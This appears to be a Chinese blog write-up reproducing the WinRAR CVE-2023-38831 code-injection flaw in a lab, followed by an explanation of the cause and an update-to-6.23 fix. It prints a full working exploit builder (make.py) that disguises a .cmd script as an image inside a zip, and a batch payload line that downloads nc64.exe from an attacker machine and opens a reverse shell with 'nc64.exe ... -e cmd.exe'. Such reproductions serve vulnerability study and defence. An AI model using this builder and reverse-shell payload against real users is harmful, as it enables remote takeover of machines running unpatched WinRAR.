基本信息介绍
WinRAR是一款功能强大的Windows文件压缩和解压缩工具,支持高效的压缩算法、密码保护、分卷压缩、恢复记录等功能,同时提供图形和命令行界面,以及自解压缩功能,为用户提供便捷且安全的文件管理和传输工具。
WinRAR 的CVE-2023-38831 漏洞被在野利用来攻击交易类的个人用户。
漏洞类型:代码注入。
发现时间:2023 年。
漏洞等级:高危。
影响版本:WinRAR 版本 6.23 之前的版本。
(引自安全内参)
复现
先在win10虚拟机安装6.22版WinRAR。并准备一个正常文件,比如一张图片。
接着写一个bat文件,里面是要执行的命令,因为我这里测试的是反弹shell命令,所以我还下了一个windows的nc64.exe,放到kali上面,然后在nc的目录下python开一个服务器
curl http://192.168.6.128:8880/nc64.exe -O nc64.exe & nc64.exe 192.168.6.128 4444 -e cmd.exe -d & test.png
然后利用公开的exp
make.py
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "poc.zip"
BAIT_NAME = "test.png"
SCRIPT_NAME = "script.bat"
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .\make.py poc
python .\make.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
# if os.path.exists(OUTPUT_NAME):
# print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
# sys.exit()
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
print("ok..")
一共三个文件,加上kali的nc64.exe
执行python make.py test.png script.bat poc.zip
生成恶意的压缩包
当用户用有该漏洞的WinRAR打开这个压缩包,并在预览界面点击图片时就会触发命令执行
现在在kali监听4444端口
双击poc.zip(因为我这默认压缩包软件已经是WinRAR了),点击正常图片文件。发现kali已经获得目标的shell
漏洞原理及触发条件
构造特殊文件:攻击者构造一个特殊的 zip 档案,其中包含一个良性文件(如普通的.jpg、.pdf 文件)和一个与良性文件同名的文件夹,文件夹内包含恶意的可执行文件,如批处理文件.cmd 等。
利用文件处理机制:当用户使用受影响的 WinRAR 版本打开这个 zip 档案,尝试访问其中的良性文件时,WinRAR 会调用 ShellExecute 函数匹配文件名。由于其处理机制存在缺陷,在匹配过程中,如果目标文件名与文件类型不匹配时,就会执行目标文件中的批处理文件,从而导致恶意代码被执行。
在正常情况下,ShellExecute 应该根据文件的完整路径和类型准确地打开目标文件。然而,受影响版本的 WinRAR 在处理这种特殊结构的压缩包时,其文件名匹配机制存在漏洞。当它在进行文件名匹配时,没有正确区分文件和同名文件夹,导致在某些情况下,即使本意是打开良性文件,却错误地匹配到了同名文件夹内的恶意可执行文件。
简单点说就是用WinRAR打开某个文件时,WinRAR会查找叫该文件名的所有文件,如果匹配到一个同名文件但该文件是个目录,就会进入那个目录查找文件。比如我要用WinRAR打开poc.zip里面的test.png,但是还有个叫test.png的目录也在同一个压缩包,WinRAR就会匹配到这个目录并进里面查找,刚好找到一个test.png .cmd(正常情况是无法创建的,但是exp用了某种方法创建),由于系统会忽略文件名空格后的东西,WinRAR就以为找到了目标图片,并打开,实际上执行的是批处理文件(.cmd)。
我C学得不是特别好,这个源码调试也不会,只能打一遍看看。搜到一篇源码调试的大佬文章https://www.cnblogs.com/GoodFish-/p/17715977.html,可以去看看。
防御方法
将WinRAR更新至6.23以上。